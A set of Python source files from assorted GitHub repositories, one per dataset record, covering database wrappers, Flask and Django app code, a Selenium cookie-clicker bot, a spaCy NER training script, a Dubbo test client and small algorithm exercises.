'xx.xx.xx.xxx:27017'\r\nMONGO_CLIENT = MongoClient(MONGO_CLIENT_IP)\r\n\r\ndef get_mongo_client(database_name, collection_name):\r\n \"\"\"\r\n :param database_name: database name in string\r\n :param collection_name: collection name in string\r\n :return: mongo cursor object\r\n \"\"\"\r\n db = MONGO_CLIENT[database_name]\r\n db_result = db[collection_name]\r\n return db_result\r\n\r\ndef list_db():\r\n \"\"\"\r\n :return:\r\n \"\"\"\r\n db_list = MONGO_CLIENT.list_database_names()\r\n return db_list\r\n\r\ndef list_collections(db:str):\r\n \"\"\"\r\n :param db: database name\r\n :return:\r\n \"\"\"\r\n _db = MONGO_CLIENT[db]\r\n return _db.list_collection_names()\r\n\r\ndef get_summarize(db:str,collection:str):\r\n \"\"\"\r\n\r\n :param db: database name\r\n :param collection: collection name\r\n :return: returns dict with total no of records in given collection\r\n \"\"\"\r\n connection = get_mongo_client(db,collection)\r\n out_dict = {}\r\n out_dict['DatabaseName'] = db\r\n out_dict['CollectionName'] = collection\r\n out_dict['TotalRecords'] = connection.count_documents({})\r\n return out_dict\r\n\r\ndef get_sample(db:str,collection:str,query_by:str,value:str,limit:int=1):\r\n \"\"\"\r\n :param db: db name\r\n :param collection: collection name\r\n :param query_by: key\r\n :param value: value\r\n :param limit: int value and defult is 1\r\n :return: returns list of values\r\n \"\"\"\r\n connection = get_mongo_client(db,collection)\r\n if str(query_by).lower().__contains__('id'):\r\n record = [i for i in connection.find({query_by:int(value)},{'_id':0},limit=limit)]\r\n else:\r\n record = [i for i in connection.find({query_by: value}, {'_id': 0}, limit=limit)]\r\n return record\r\n\r\ndef update_record(connection:dict,query_by:str,query_by_value,data:dict):\r\n \"\"\"\r\n\r\n :param connection: collection name\r\n :param query_by: key\r\n :param query_by_value: value\r\n :param data: dict records\r\n :return: None\r\n \"\"\"\r\n assert ('db' and 'collection' in list(connection.keys())), 'Required attributes not found!'\r\n try:\r\n connection = get_mongo_client(connection['db'], connection['collection'])\r\n if connection.find_one({query_by: query_by_value}):\r\n connection.update_one({query_by: query_by_value},{'$set':data})\r\n return True\r\n else : return False\r\n except Exception as error: raise Exception(error)\r\n\r\ndef update_attribute(connection:dict,query_by:str,query_by_value,data:dict,attributes:list):\r\n \"\"\"\r\n :param connection: connection object\r\n :param query_by: query by key\r\n :param query_by_value: value\r\n :param data: data dict\r\n :param attributes: list of multi valued variable's\r\n :return: None\r\n \"\"\"\r\n connection = get_mongo_client(connection['db'], connection['collection'])\r\n exist_check = connection.find_one({query_by: query_by_value})\r\n if exist_check:\r\n _id = exist_check['_id']\r\n for update_key in attributes:\r\n old_value = exist_check.get(update_key,[])\r\n current_value = data.get(update_key,[])\r\n if type(old_value) == list and type(current_value) == list:\r\n new_without_Dup = set(old_value + current_value)\r\n connection.update_one({'_id': _id}, {'$set': {update_key: list(new_without_Dup)}})\r\n else: connection.insert_one(data)\r\n\r\ndef create_index(connection:dict,index_attributes:list,ascending:bool=True):\r\n \"\"\"\r\n :param connection: connection object\r\n :param index_attributes: list of variable names\r\n :param ascending: bool value\r\n :return: None\r\n \"\"\"\r\n assert ('db' and 'collection' in list(connection.keys())),'Required attributes not found!'\r\n try:\r\n connection = get_mongo_client(connection['db'],connection['collection'])\r\n index_dict = {i: 1 if ascending else -1 for i in index_attributes}\r\n connection.create_index(index_dict)\r\n except Exception as error:\r\n return error","repo_name":"dhamodharanrk/MrSnippets","sub_path":"MrSnippets/mongo_wrapper.py","file_name":"mongo_wrapper.py","file_ext":"py","file_size_in_byte":4036,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"75"} +{"seq_id":"12411078290","text":"# set is use to store multiple data item in single variable\r\n# it is the built in data type in python\r\n# it is collectoion unchangeable ,unordered and unindexed\r\n# no duplication allowed\r\n\r\nset1={\"apple\",\"banana\",\"cherry\",\"mango\",\"mango\"}\r\nprint(set1)\r\nprint(type(set1))\r\n\r\n\r\n\r\n# ___--------------------------------------\r\n# **************************************\r\nset2=set() #creating the empty set\r\n\r\nset2.add(10) # adding the element into set\r\nset2.add(18)\r\nset2.add(10)\r\n\r\nprint(set2)\r\n# it print the 10,18 only because no duplication allowed in the set","repo_name":"adhalraotejas1018/-my_python_basic","sub_path":"v9_sets.py","file_name":"v9_sets.py","file_ext":"py","file_size_in_byte":590,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"40792092762","text":"import os\nimport re\nfrom google.cloud import translate\nimport sys\n\n\"\"\"commentStripper.py\n\nThis script can be used to automatically strip, format, and translate comments\nin code for the Antshares/NEO code base using the Google Cloud API. The script\nserially scans, parsers, and translates comments in a file that have the\nfollowing structures:\n\nExamples:\n \n \n This is an example comment.\n \n\n \n \n This is an example comment.\n \n \n\nTranslation can occur to/from any language supported by the Google Translate API\nand the starting language does not need to be defined. The output format is similar\nto the second example above.\n\nRefer to the link below for information about configuring the Google Cloud API:\n https://cloud.google.com/translate/docs/getting-started\n\nArgs:\n (str): The directory for scan and translate.\n\n\nTodo:\n * Add multiline comment outputs\n\"\"\"\n\n\nROOT = sys.argv[1]\n\nTAGS = {'main': 'summary',\n 'languages': [\n {'language': 'english', 'tag': 'en'},\n {'language': 'chinese', 'tag': 'zh-CN'},\n {'language': 'spanish', 'tag': 'es'}\n ]\n }\n\"\"\"dict: primary configuration for the translation activity\"\"\"\n\n\ndef texasRanger(ROOT):\n \"\"\"Scans a directory for strings matching the comment format.\n\n The textRanger function walks a directory and builds up an \n list of comments that it finds.\n\n Args:\n ROOT (str): The directory to scan\n\n Returns:\n (list) A list of comments found in the directory.\n\n Example:\n \n [{file (str): the path to the file containing the comment,\n languages: [],\n index: (int): the base indent size for each row of the comments,\n raw (str): the raw text of the comment that will be parsed}]\n \"\"\"\n comments = []\n for dirName, subdirList, fileList in os.walk(ROOT):\n for f in fileList:\n with open('{1}/{2}'.format(ROOT,dirName, f)) as myFile:\n payload = myFile.read()\n if '<{0}>'.format(TAGS['main']) in payload:\n while (True):\n if '<{0}>'.format(TAGS['main']) in payload:\n can = {'file': '{0}/{1}'.format(dirName, f),\n 'languages': []}\n start = payload.index('/// <{0}>'.format(TAGS['main'])) \n can['index'] = payload[0:start][::-1].index('\\n') \n end = payload.index(''.format(TAGS['main']))\n\n can['raw'] = payload[start:end + len(''.format(TAGS['main']))]\n comments.append(can)\n\n payload = payload[end + 1:]\n else:\n break \n return comments \n \n\n\n\n\ndef parser(comment):\n \"\"\"Parses the root comment and any existing comments into the comment object\n \n Args:\n comment (dict) The comment object that needs to be parsed.\n\n Returns:\n (dict) The comment object with the parsed comment.\n \"\"\"\n\n scrubbed = comment['raw'].replace('/// <{0}>'.format(TAGS['main']),'').replace('/// '.format(TAGS['main']),'').replace('///','')\n scrubbed = scrubbed.replace('\\r', '')\n for lang in TAGS['languages']:\n\n res = re.search('<{0}>.*'.format(lang['tag']), scrubbed, re.DOTALL)\n if res:\n c = res.group(0).replace('<{0}>'.format(lang['tag']),'').replace(''.format(lang['tag']),'').split('\\n')\n c = ' '.join([C.strip() for C in c])\n comment['languages'].append({'language': lang['language'],\n 'tag': lang['tag'], \n 'comment': c})\n scrubbed = scrubbed.replace(res.group(0), '').strip().strip('\\r\\n')\n\n\n if (len(scrubbed) != 0) and (len(comment['languages']) == 0):\n lang = translate_client.detect_language([scrubbed])[0]\n l = ''\n l = [x['language'] for x in TAGS['languages'] if x['tag'] == lang['language']][0] \n \n c = scrubbed.strip().split('\\n')\n c = ' '.join([C.strip() for C in c])\n\n can = {'language': l,\n 'tag': lang['language'],\n 'comment': c}\n comment['languages'].append(can)\n \n return comment \n\n\n \ndef patcher(comment):\n \"\"\"The patcher fills in languages that do not already exist in the comment\n\n Args:\n comment (dict): The comment object that needs to be patched\n\n Returns:\n (dict): The comment object with all required languages.\n \n \"\"\"\n\n found = [x['tag'] for x in comment['languages']]\n missing = [x for x in TAGS['languages'] if x['tag'] not in found]\n\n for m in missing:\n translation = translate_client.translate(\n comment['languages'][0]['comment'],\n target_language = m['tag'])\n \n can = {'language': m['language'],\n 'tag': m['tag'],\n 'comment': translation['translatedText'].encode(\"utf8\")}\n\n comment['languages'].append(can)\n return comment \n\n\ndef update(comment):\n \"\"\"The update function executes a string replace on the document to update the comment.\n\n Args:\n comment (dict): the comment object that will replace the existing comment string\n \"\"\"\n\n f = open(comment['file'])\n data = f.read()\n\n newComment = ''\n for l in comment['languages']:\n newComment += '{2}/// <{0}>\\n{2}/// {1}\\n{2}/// \\n'.format(l['tag'], l['comment'], ' ' * comment['index'])\n \n newComment = '/// \\n{0}{1}/// '.format(newComment, ' ' * comment['index'])\n\n f.close()\n\n data = data.replace(comment['raw'], newComment)\n\n f = open(comment['file'], 'wb')\n f.write(data)\n f.close()\n\n\nif __name__ == '__main__':\n\n translate_client = translate.Client()\n x = texasRanger(ROOT)\n for X in x:\n comment = parser(X)\n patcher(comment)\n update(comment)\n \n","repo_name":"CityOfZion/util","sub_path":"commentStripper/commentStripper.py","file_name":"commentStripper.py","file_ext":"py","file_size_in_byte":6183,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"75"} +{"seq_id":"23110741511","text":"# Import function that will return an instance of a connection\nfrom flask_app.config.mysqlconnection import connectToMySQL\nfrom flask_app.models import friend\n# model the class after the friend table from our database\nclass Faction:\n db = \"first_flask\"\n def __init__(self,data):\n self.id = data[\"id\"]\n self.name = data[\"name\"]\n self.level = data[\"level\"]\n self.dateCreated = data[\"date_created\"]\n\n self.created_at = data[\"created_at\"]\n self.updated_at = data[\"updated_at\"]\n\n self.factionMembers = [] #placeholder for list of friends\n \n\n\n @classmethod\n def createNewFaction(cls,data):\n query = \"INSERT INTO factions (name, level, date_created, created_at, updated_at ) VALUES ( %(name)s , %(level)s , %(date_created)s , NOW() , NOW() );\"\n queryResult = connectToMySQL(cls.db).query_db(query, data)\n return queryResult\n\n @classmethod\n def getAllFactions(cls):\n query = \"SELECT id, name, level, DATE_FORMAT(date_created, '%M %d, %Y') AS date_created, created_at, updated_at FROM factions;\"\n #\"SELECT id, name, level, DATE_FORMAT(date_created, '%M %d, %Y') AS date_created, created_at, updated_at FROM factions;\"\n queryResults = connectToMySQL(cls.db).query_db(query)\n\n allFactions = []\n\n for each in queryResults:\n allFactions.append( cls(each) )\n return allFactions\n\n @classmethod\n def getFactionWithFriends(cls,data):\n query = \"\"\"SELECT * FROM factions\n JOIN friends ON factions.id = friends.factions_id\n WHERE factions.id = %(faction_id)s;\"\"\"\n\n queryResults = connectToMySQL(cls.db).query_db(query,data)\n\n faction = cls(queryResults[0])\n\n for element in queryResults:\n friendData= {\n \"id\" : element['friends.id'],\n \"first_name\" : element['first_name'],\n \"last_name\" : element['last_name'],\n \"occupation\" : element['occupation'],\n \"age\" : element['age'],\n \"created_at\" : element['friends.created_at'],\n \"updated_at\" : element['friends.updated_at']\n }\n\n friendInstance = friend.Friend(friendData)\n faction.factionMembers.append(friendInstance)\n\n return faction","repo_name":"DJC-00/Python","sub_path":"My Extras/first_flask_mysql/flask_app/models/faction.py","file_name":"faction.py","file_ext":"py","file_size_in_byte":2322,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"17145260328","text":"from selenium import webdriver\r\nfrom selenium.webdriver.common.by import By\r\nimport time\r\n\r\n\r\ndef checkConsole():\r\n selector = 0\r\n money = int(driver.find_element(By.ID, \"money\").text)\r\n\r\n cursor = driver.find_element(By.XPATH, '//*[@id=\"buyCursor\"]/b')\r\n cursor_price = int(cursor.text.split(\"-\")[1])\r\n\r\n grandma = driver.find_element(By.XPATH, '//*[@id=\"buyGrandma\"]/b')\r\n grandma_price = int(grandma.text.split(\"-\")[1])\r\n\r\n factory = driver.find_element(By.XPATH, '//*[@id=\"buyFactory\"]/b')\r\n factory_price = int(factory.text.split(\"-\")[1])\r\n\r\n mine = driver.find_element(By.XPATH, '//*[@id=\"buyMine\"]/b')\r\n mine_price = int(mine.text.split(\"-\")[1].replace(\",\", \"\"))\r\n\r\n shipment = driver.find_element(By.XPATH, '//*[@id=\"buyShipment\"]/b')\r\n shipment_price = int(shipment.text.split(\"-\")[1].replace(\",\", \"\"))\r\n\r\n alchemy = driver.find_element(By.XPATH, '//*[@id=\"buyAlchemy lab\"]/b')\r\n alchemy_price = int(alchemy.text.split(\"-\")[1].replace(\",\", \"\"))\r\n\r\n portal = driver.find_element(By.XPATH, '//*[@id=\"buyPortal\"]/b')\r\n portal_price = int(portal.text.split(\"-\")[1].replace(\",\", \"\"))\r\n\r\n timeMachine = driver.find_element(By.XPATH, '//*[@id=\"buyTime machine\"]/b')\r\n timeMachine_price = int(timeMachine.text.split(\"-\")[1].replace(\",\", \"\"))\r\n\r\n prices = [cursor_price, grandma_price, factory_price, mine_price, shipment_price,\r\n alchemy_price, portal_price, timeMachine_price]\r\n\r\n for i in range(len(prices) - 1, -1, -1):\r\n if money > prices[i]:\r\n selector = i\r\n break\r\n\r\n if selector == 0:\r\n cursor.click()\r\n elif selector == 1:\r\n grandma.click()\r\n elif selector == 2:\r\n factory.click()\r\n elif selector == 3:\r\n mine.click()\r\n elif selector == 4:\r\n shipment.click()\r\n elif selector == 5:\r\n alchemy.click()\r\n elif selector == 6:\r\n portal.click()\r\n elif selector == 7:\r\n timeMachine.click()\r\n\r\n\r\nchrome_driver_path = \"C:\\\\Users\\\\061885\\\\Desktop\\\\Dayy48, Selenium Web driver browser and Game playing bot\\\\Development\\\\chromedriver.exe\"\r\ndriver = webdriver.Chrome(chrome_driver_path)\r\n\r\ndriver.get(\"http://orteil.dashnet.org/experiments/cookie/\")\r\n\r\ncookie = driver.find_element(By.ID, \"cookie\")\r\n\r\nwhile 1:\r\n cookie.click()\r\n checkConsole()\r\n time.sleep(2)\r\n","repo_name":"oguzkaganbilici/100-Days-Of-Python-Bootcamp-With-Angela-Yu","sub_path":"Dayy48, Selenium Web driver browser and Game playing bot/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":2348,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"75"} +{"seq_id":"18684658559","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\n\n'''\nFlask-BigTempo\n--------------\n\nFlask extension created to enable a flask server to provide bigtempo functions.\n'''\n\n\nimport os\nimport sys\n\n\nif sys.argv[-1] == 'publish':\n os.system('python setup.py sdist upload')\n sys.exit()\n\n\ntry:\n from setuptools import setup, find_packages\nexcept ImportError:\n from distutils.core import setup\n\n\nimport re\nimport pkgutil\n\nimport flask_bigtempo\n\n\ndef read(*rnames):\n return open(os.path.join(os.path.dirname(__file__), *rnames)).read()\n\n\ndef filter_comments(contents):\n filter_pattern = re.compile(r'[\\s]*#.*')\n return filter(lambda x: not filter_pattern.match(x), contents)\n\n\ndef packages(path=None, prefix=\"\", exclude=None):\n try:\n return find_packages(exclude=exclude)\n except:\n return [name for _, name, ispkg in pkgutil.walk_packages(path, prefix) if ispkg]\n\n\nsetup(\n name='flask-bigtempo',\n version=flask_bigtempo.__version__,\n description=\"Flask extension for bigtempo features\",\n long_description=read('README.md'),\n license=read('LICENSE'),\n\n author=\"Roberto Haddock Lobo\",\n author_email=\"rhlobo+bigtempo@gmail.com\",\n url='https://github.com/rhlobo/flask-bigtempo',\n\n classifiers=[\n 'Development Status :: 3 - Alpha',\n 'Intended Audience :: Developers',\n 'Intended Audience :: Financial and Insurance Industry',\n 'Intended Audience :: Information Technology',\n 'Intended Audience :: Science/Research',\n 'License :: OSI Approved :: MIT License',\n 'Natural Language :: English',\n 'Operating System :: OS Independent',\n 'Programming Language :: Python :: 2.7',\n 'Topic :: Scientific/Engineering',\n 'Topic :: Scientific/Engineering :: Information Analysis',\n 'Topic :: Software Development :: Libraries :: Python Modules'\n ],\n platforms='any',\n\n install_requires=filter_comments(read('requirements.txt').split('\\n')),\n packages=packages(flask_bigtempo.__path__,\n flask_bigtempo.__name__,\n exclude=[\"*.tests\",\n \"*.tests.*\",\n \"tests.*\",\n \"tests\"]),\n package_data={'': ['README.md',\n 'LICENSE',\n 'requirements.txt',\n 'scripts/store_api']},\n scripts=['scripts/store_api',\n 'scripts/bigtempo_api'],\n\n include_package_data=True,\n zip_safe=False\n)\n","repo_name":"rhlobo/flask-bigtempo","sub_path":"setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":2520,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"11669235317","text":"import pymysql\nfrom DBUtils.PooledDB import PooledDB\n\n\nclass MysqlClient(object):\n\n def __init__(self, host=\"127.0.0.1\", port=3306, user=\"root\", password=\"allen\", db=\"works\", conn_num=3):\n\n self.mysql_pool = PooledDB(pymysql, conn_num, host=host, port=port, user=user, passwd=password, db=db)\n\n def get_conn(self):\n \"\"\"\n 获取mysql连接\n \"\"\"\n return self.mysql_pool.connection()\n\n def insert(self, table, item, start=0, end=-1):\n \"\"\"\n 插入item,到mysql制定的表中, 如果插入失败\n :param item: dict类型的数据,并且item中key的名称和mysql一致\n \"\"\"\n fields = \", \".join(list(item.keys()))\n sub_char = \", \".join([\"%s\"]*len(item))\n values = tuple(list(item.values()))\n\n sql = \"insert into %s(%s) values (%s)\" % (table, fields, sub_char)\n\n conn = self.mysql_pool.connection()\n\n cursor = conn.cursor()\n\n try:\n result = cursor.execute(sql, values)\n conn.commit()\n return 1\n except Exception as e:\n conn.rollback()\n raise e\n finally:\n cursor.close()\n conn.close()\n\n def insert_many(self, table, items):\n \"\"\"\n 插入多条数据,利用executemany方法\n :param table: 表名\n :param items: 插入的数据,可迭代对象\n \"\"\"\n item = items[0]\n\n fields = \", \".join(list(item.keys()))\n sub_char = \", \".join([\"%s\"]*len(item))\n value_list = []\n for item in items:\n value = tuple(list(item.values()))\n value_list.append(value)\n\n sql = \"insert into %s(%s) values (%s)\" % (table, fields, sub_char)\n\n # 获取mysql连接和事务\n conn = self.mysql_pool.connection()\n cursor = conn.cursor()\n\n try:\n result = cursor.executemany(sql, value_list)\n conn.commit()\n return 1\n except Exception as e:\n conn.rollback()\n raise e\n finally:\n cursor.close()\n conn.close()\n\n def update_one(self, table, update_item, condition):\n \"\"\"\n 更新表中某个字段\n :param table: mysql 表名\n :param items: dict, 要更新的字段,\n :param condition: dict, 筛选要更新的字段\n :return: None\n \"\"\"\n fields = \", \".join(['{}=\"{}\"'.format(key, value) for key, value in update_item.items()])\n filter_condition = \" and \".join(['{}=\"{}\"'.format(key, value) for key, value in condition.items()])\n\n sql = \"update %s set %s where %s\" % (table, fields, filter_condition)\n\n conn = self.mysql_pool.connection()\n cursor = conn.cursor()\n\n try:\n result = cursor.execute(sql)\n conn.commit()\n return 1\n except Exception as e:\n conn.rollback()\n raise e\n finally:\n cursor.close()\n conn.close()\n\n def update_by_sql(self, sql):\n \"\"\"\n 通过sql语句更新\n \"\"\"\n conn = self.mysql_pool.connection()\n cursor = conn.cursor()\n\n try:\n result = cursor.execute(sql)\n conn.commit()\n return 1\n except Exception as e:\n conn.rollback()\n raise e\n finally:\n cursor.close()\n conn.close()\n\n def query(self, sql):\n \"\"\"\n 查询\n :param table: 表名\n :param sql: 查询的sql语句\n :return:\n \"\"\"\n\n conn = self.mysql_pool.connection()\n cursor = conn.cursor()\n\n try:\n nums = cursor.execute(sql)\n conn.commit()\n result = cursor.fetchall()\n return result\n except Exception as e:\n raise e\n finally:\n cursor.close()\n conn.close()\n\n def execute(self, sql):\n \"\"\"\n 执行sql语句,不返回数据\n \"\"\"\n conn = self.get_conn()\n cursor = conn.cursor()\n\n try:\n result = cursor.execute(sql)\n conn.commit()\n return 1\n except Exception as e:\n raise e\n finally:\n cursor.close()\n conn.close()\n\n\nif __name__ == '__main__':\n client = MysqlClient()\n client.update_one(\"work\", {\"a\": 1, \"b\": 2}, {\"id\": 2})\n","repo_name":"pythonshihe/zx_network","sub_path":"work_utils/mysql_client.py","file_name":"mysql_client.py","file_ext":"py","file_size_in_byte":4387,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"75"} +{"seq_id":"41861504870","text":"from django.urls import path,include\nfrom . import views\nfrom django.conf import settings\nfrom django.conf.urls.static import static\nfrom . views import RegisterView,LoginAPIView\n\n\n\n\n\n\n\nurlpatterns = [\n # Leave as empty string for base url\n path('register/', views.registerPage, name=\"register\"),\n path('login/', views.loginPage, name=\"login\"),\n path('logout/', views.logoutUser, name=\"logout\"),\n\n path('', views.store, name=\"store\"),\n path('cart/', views.cart, name=\"cart\"),\n path('checkout/', views.checkout, name=\"checkout\"),\n path('upload/',views.upload,name=\"upload\"),\n path('maintain/',views.maintain,name=\"maintain\"),\n path('update_order//', views.updateOrder, name=\"update_order\"),\n path('delete_order//', views.deleteOrder, name=\"delete_order\"),\n path('show_prod//', views.show, name=\"show\"),\n path('logoutuser/',views.logoutpage,name=\"logoutpage\"),\n path('api/products/',views.show_list),\n path('api/register/', RegisterView.as_view(),name=\"registerapi\"),\n path('api/login/', LoginAPIView.as_view(), name=\"loginapi\"),\n path('addtocart//',views.addtocart, name=\"addtocart\"),\n path('dialog/',views.dialog, name=\"dialog\"),\n path('removecart//',views.cart_remove,name=\"removeitem\"),\n path('removecartdialog/',views.cart_remove_alert,name=\"cartremovedialog\"),\n path('addqty//',views.cart_add_q,name=\"cart_add_q\"),\n path('alert/',views.alert,name=\"alert\"),\n path('placeorder',views.placeorder,name=\"placeorder\")\n # path('dashboard/',views.dashboard,name=\"dashboard\"),\n # path('adminlogin/',views.Admin_login,name=\"adminlogin\"),\n # path('adminlogout/',views.logoutadmin,name=\"adminlogout\")\n #path('placeorder/',views.placeorder,name=\"placeorder\"),\n \n]\nif settings.DEBUG:\n urlpatterns += static(settings.MEDIA_URL, document_root=settings.MEDIA_ROOT)","repo_name":"012rashidkp/easyshop","sub_path":"shopping/easyshop/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":1890,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"70550462321","text":"'''\nA self-dividing number is a number that is divisible by every digit it contains.\n\nFor example, 128 is a self-dividing number because 128 % 1 == 0, 128 % 2 == 0, and 128 % 8 == 0.\n\nAlso, a self-dividing number is not allowed to contain the digit zero.\n\nGiven a lower and upper number bound, output a list of every possible self dividing number, including the bounds if possible.\n\nExample 1:\nInput: \nleft = 1, right = 22\nOutput: [1, 2, 3, 4, 5, 6, 7, 8, 9, 11, 12, 15, 22]\nNote:\n\nThe boundaries of each input argument are 1 <= left <= right <= 10000\n'''\nclass Solution(object):\n def selfDividingNumbers(self, left, right):\n \"\"\"\n :type left: int\n :type right: int\n :rtype: List[int]\n \"\"\"\n output = []\n for i in range(left,right+1):\n str_i = str(i)\n flag = False\n for char in str_i:\n try:\n if i % int(char) != 0:\n flag = False\n break\n else:\n flag = True\n except ZeroDivisionError:\n flag = False\n break\n if flag:\n output.append(i)\n return output\n","repo_name":"csrunner/leetcode","sub_path":"728_self_dividing_numbers.py","file_name":"728_self_dividing_numbers.py","file_ext":"py","file_size_in_byte":1238,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"275689363","text":"import spacy\nimport format_data as fd\nimport random\nfrom spacy.util import minibatch, compounding\nfrom pathlib import Path\n\n# Define output folder to save new model\nmodel_dir = 'C:/Users/Shreyas/Documents/Python/PycharmProjects/real-estate-ner'\n\ndata_format = fd.DataFormatter()\ndata_format.fill_train_data()\nTRAIN_DATA = data_format.train_data\n\n\ndef train_new_ner(model=None, output_dir=model_dir, n_iter=100):\n \"\"\"Load the model, set up the pipeline and train the entity recognizer.\"\"\"\n if model is not None:\n nlp = spacy.load(model) # load existing spaCy model\n print(\"Loaded model '%s'\" % model)\n else:\n nlp = spacy.blank(\"en\") # create blank Language class\n print(\"Created blank 'en' model\")\n # create the built-in pipeline components and add them to the pipeline\n # nlp.create_pipe works for built-ins that are registered with spaCy\n if \"ner\" not in nlp.pipe_names:\n ner = nlp.create_pipe(\"ner\")\n nlp.add_pipe(ner, last=True)\n # otherwise, get it so we can add labels\n else:\n ner = nlp.get_pipe(\"ner\")\n # add labels\n for _, annotations in TRAIN_DATA:\n for ent in annotations.get(\"entities\"):\n ner.add_label(ent[2])\n\n # get names of other pipes to disable them during training\n other_pipes = [pipe for pipe in nlp.pipe_names if pipe != \"ner\"]\n with nlp.disable_pipes(*other_pipes): # only train NER\n # reset and initialize the weights randomly – but only if we're\n # training a new model\n if model is None:\n nlp.begin_training()\n for itn in range(n_iter):\n random.shuffle(TRAIN_DATA)\n losses = {}\n # batch up the examples using spaCy's minibatch\n batches = minibatch(TRAIN_DATA, size=compounding(4.0, 32.0, 1.001))\n for batch in batches:\n texts, annotations = zip(*batch)\n nlp.update(\n texts, # batch of texts\n annotations, # batch of annotations\n drop=0.5, # dropout - make it harder to memorise data\n losses=losses,\n )\n print(\"Losses\", losses)\n\n # test the trained model\n for text, _ in TRAIN_DATA:\n doc = nlp(text)\n print(\"Entities\", [(ent.text, ent.label_) for ent in doc.ents])\n print(\"Tokens\", [(t.text, t.ent_type_, t.ent_iob) for t in doc])\n\n # save model to output directory\n if output_dir is not None:\n output_dir = Path(output_dir)\n if not output_dir.exists():\n output_dir.mkdir()\n nlp.to_disk(output_dir)\n print(\"Saved model to\", output_dir)\n\n # test the saved model\n print(\"Loading from\", output_dir)\n nlp2 = spacy.load(output_dir)\n for text, _ in TRAIN_DATA:\n doc = nlp2(text)\n print(\"Entities\", [(ent.text, ent.label_) for ent in doc.ents])\n print(\"Tokens\", [(t.text, t.ent_type_, t.ent_iob) for t in doc])\n\n\ndef main():\n train_new_ner()\n\n # Use new trained saved model\n print(\"Loading trained model from:\", model_dir)\n nlp2 = spacy.load(model_dir)\n doc2 = nlp2('$750,000 3bds 2ba 2400 saft 12345 Bottleneck Drive CA 95043 House for sale')\n\n for token in doc2:\n print(token, token.ent_type_)\n\n\nif __name__ == '__main__':\n main()\n\n","repo_name":"shreyasrye/real-estate-ner","sub_path":"train_data.py","file_name":"train_data.py","file_ext":"py","file_size_in_byte":3351,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"75"} +{"seq_id":"70526122163","text":"#coding=utf-8\nimport dubbo_telnet\nimport json\n# 初始化dubbo对象\ndef cdubbo(Host,Port,interface,method,params):\n try:\n conn = dubbo_telnet.connect(Host, Port)\n # 设置telnet连接超时时间\n conn.set_connect_timeout(10)\n # 设置dubbo服务返回响应的编码\n conn.set_encoding('gbk')\n # 显示服务列表\n # print \"打印服务列表名:\"\n # print (conn.do(\"ls\"))\n # # 显示指定服务的方法列表\n # # print \"打印方法名:\"\n # print (conn.do(\"ls %s\"%(interface)))\n conn.invoke(interface,method,params)\n # print (param)\n result = 'invoke %s.%s(%s)'%(interface,method,params)\n # print json.dumps(result, sort_keys=True, indent=4, separators=(',', ': '), skipkeys=True, ensure_ascii=False)\n return conn.do(result)\n except:\n return Exception\nif __name__ == '__main__':\n Host = '172.16.7.47' # Doubble服务器提供者IP\n Port = '28364' # Doubble服务提供者端口\n interface = 'com.erp.remote.cs.ICustomerRemoteService'#'com.erp.remote.service.IHappyFundService'\n \n method = 'lockCustomer'\n param = {}\n param['csTel'] = '1818181'\n param['customerId'] = '26b7dded-1dd0-43d2-b9f9-1744947d8b58'\n param['remark'] = '123456'\n param['channel'] = '4'\n # param['roleId'] = '80'\n print (param)\n params = json.dumps(param)\n print (params)\n data = cdubbo(Host, Port, interface, method, params)\n print (data)\n \n\n","repo_name":"yuan1093040152/SeleniumTest","sub_path":"接口/dubbo.py","file_name":"dubbo.py","file_ext":"py","file_size_in_byte":1502,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"16705759981","text":"# -*- coding:utf-8 -*-\n# __author__ = majing\n\nimport copy\n\"\"\"\n求二叉树的所有路径\n 15\n / \\\n 20 6\n / \\ \\\n 8 10 40\n /\\ \\ / \\\n22 23 18 9 12\n思路:\n2个列表\n1.记录到达本节点时之前的节点 2.记录路径 \n\"\"\"\n# 构造一棵树\nclass Node(object):\n \"\"\"\n 节点\n \"\"\"\n def __init__(self, left, right, data):\n self.data = data\n self.left = left\n self.right = right\n\n\nclass Tree(object):\n def add_root(self, node):\n self.root = node\n\n def add_left_tree(self, node, n_node):\n node.left = n_node\n\n def add_right_tree(self, node, n_node):\n node.right = n_node\n\n\ntree = Tree()\nnode = Node(None, None, 15)\ntree.add_root(node)\n\nnode_8_22 = Node(None, None, 22)\nnode_8_23 = Node(None, None, 23)\nnode_10_18 = Node(None, None, 18)\n\nnode_40_9 = Node(None, None, 9)\nnode_40_12 = Node(None, None, 12)\n\nnode_1 = Node(node_8_22, node_8_23, 8)\nnode_2 = Node(None, node_10_18, 10)\nnode_3 = Node(None, None, 20)\n\nnode_4 = Node(node_40_9, node_40_12, 40)\nnode_5 = Node(None, None, 6)\n\n\ntree.add_left_tree(tree.root, node_3)\ntree.add_left_tree(tree.root.left, node_1)\ntree.add_right_tree(tree.root.left, node_2)\n\ntree.add_right_tree(tree.root, node_5)\ntree.add_right_tree(tree.root.right, node_4)\n\n\ndef get_all_path(node, before_nodes, paths):\n new_str = copy.deepcopy(before_nodes)\n if node.left is None and node.right is None:\n paths.append(before_nodes)\n return paths\n\n if node.left:\n before_nodes.append(node.left.data)\n get_all_path(node.left, before_nodes, paths)\n\n if node.right:\n new_str.append(node.right.data)\n get_all_path(node.right, new_str, paths)\n\n return paths\n\n\ndef binary_tree_path():\n before_nodes = []\n paths = []\n before_nodes.append(tree.root.data)\n get_all_path(tree.root, before_nodes, paths)\n return 